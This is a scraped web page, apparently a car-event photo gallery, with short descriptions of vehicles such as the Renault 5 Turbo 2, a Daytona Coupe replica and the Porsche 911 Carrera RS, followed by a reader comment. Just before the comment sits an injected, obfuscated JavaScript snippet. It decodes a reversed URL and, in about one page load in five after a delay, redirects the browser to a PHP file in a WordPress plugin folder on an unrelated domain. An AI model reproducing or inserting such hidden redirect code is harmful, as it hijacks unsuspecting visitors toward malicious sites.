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1979 Ferrari 308 GTB
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1985 Renault 5 Turbo 2 – is a high-performance hatchback automobile that was produced by the French manufacturer Renault in the early 1980s. The car was designed for rallying, but was also sold in road-going guise.
Although the standard Renault 5 has a front-mounted engine, the 5 Turbo featured a mid-mounted 1397 cc Cléon turbocharged engine placed behind the driver in mid-body in a modified Renault 5 chassis. In standard form, the engine developed 160 PS (118 kW; 158 hp). Though it used a modified body from a standard Renault 5, and was badged a Renault 5, the mechanicals were radically different.
The first 400 production 5 Turbos were made to comply with Group 4 homologation. A second version, named Turbo 2, was introduced using stock Renault 5 parts replacing many of light alloy components in the original 5 Turbo version. The original 5 Turbo was in retrospect called “Turbo 1”. The Turbo 2 was less expensive, but had nearly the same levels of performance.
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2005 Daytona Coupe – which is an Australian built reproduction of the famous Shelby Daytona coupé from 1964, As well as the Shelby Daytona, the car bears some resemblance to the Ford Shelby GR-1, a 2005 concept car which was based on the same 1964 model. Weighing 1100 kg, it is powered by a 6.0 litre (360 in³) LS1 Gen. III V8 engine, which is also used in the Holden Monaro. Top speed is 290 km/h[2]. The chassis is a purpose built space frame[3]. As well as the engine, the car uses mainly Holden Commodore SS components including the brakes, wheels, differential, steering column and controls. It has traction control and ABS braking systems[1].
Australian racing car champion Peter Brock was killed driving a Daytona owned by Richard Bendell in the Targa West rally on September 8, 2006, when it left the road and hit a tree. Information taken from Wikipedia.
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1999 Ferrari 360 Challenge – a 360 F1 electrohydraulic manual stripped out circuit racing variant of the 360 Modena
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2001 Citroen Xsara – In similar colours to previous years WRC colours
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1965 Ford Mustang
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1974 Porsche 911 Carrera RS – These models, valued by collectors, are considered by many to be the greatest classic 911s of all-time. RS stands for Rennsport in German, meaning race sport in English. The Carrera name was reintroduced from the 356 Carrera which had itself been named after Porsche’s class victories in the Carrera Panamericana races in Mexico in the 1950s. The RS was built so that Porsche could enter racing formulae that demanded that a certain minimum number of production cars were made. Compared with a standard 911S, the Carrera 2.7 RS had a larger engine (2687 cc) developing 210 PS (150 kW; 210 hp) with MFI, revised and stiffened suspension, a “ducktail” rear spoiler, larger brakes, wider rear wheels and rear fenders. In RS Touring form it weighed 1075 kg (2370 lb), in Sport Lightweight form it was about 100 kg (220 lb) lighter, the saving coming from the thin-gauge steel used for parts of the bodyshell and also the use of thinner glass. In total, 1580 were made, comfortably exceeding the 500 that had to be made to qualify for the vital FIA Group 4 class. 49 Carrera RS cars were built with 2808 cc engines producing 300 PS (221 kW).
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2009 Skelta G-Force S/C Spec A – An unique Australian built race car – http://www.skelta.com.au/
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2009 Skoda Octavia RS – A factory entered Skoda being driven by motoring journalist, during the George Town Prologue stage, the car had two road bikes mounted to the roof racks. This is in reference to Škoda Auto being the official partner of the famous Tour de France. Within the scope of the partnership with the Tour, Škoda provides a large fleet of approximately 250 Superb, Superb Combi, Octavia, Fabia and Roomster vehicles for the race. Apart from the managers of the race Škoda vehicles also transport all members of the organization team together with many partners and media representatives. Škoda Auto is the sponsor of the white jersey for the most successful young competitor younger than 25 years.
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1981 Volvo 242GT – Sport model with race suspension and a high-compression engine -This car went onto to win the Rookie Classic Trophy,
More coming soon….
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and.com.au”>Joel Strickland.
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Anonymous
Pics look amazing. Well done.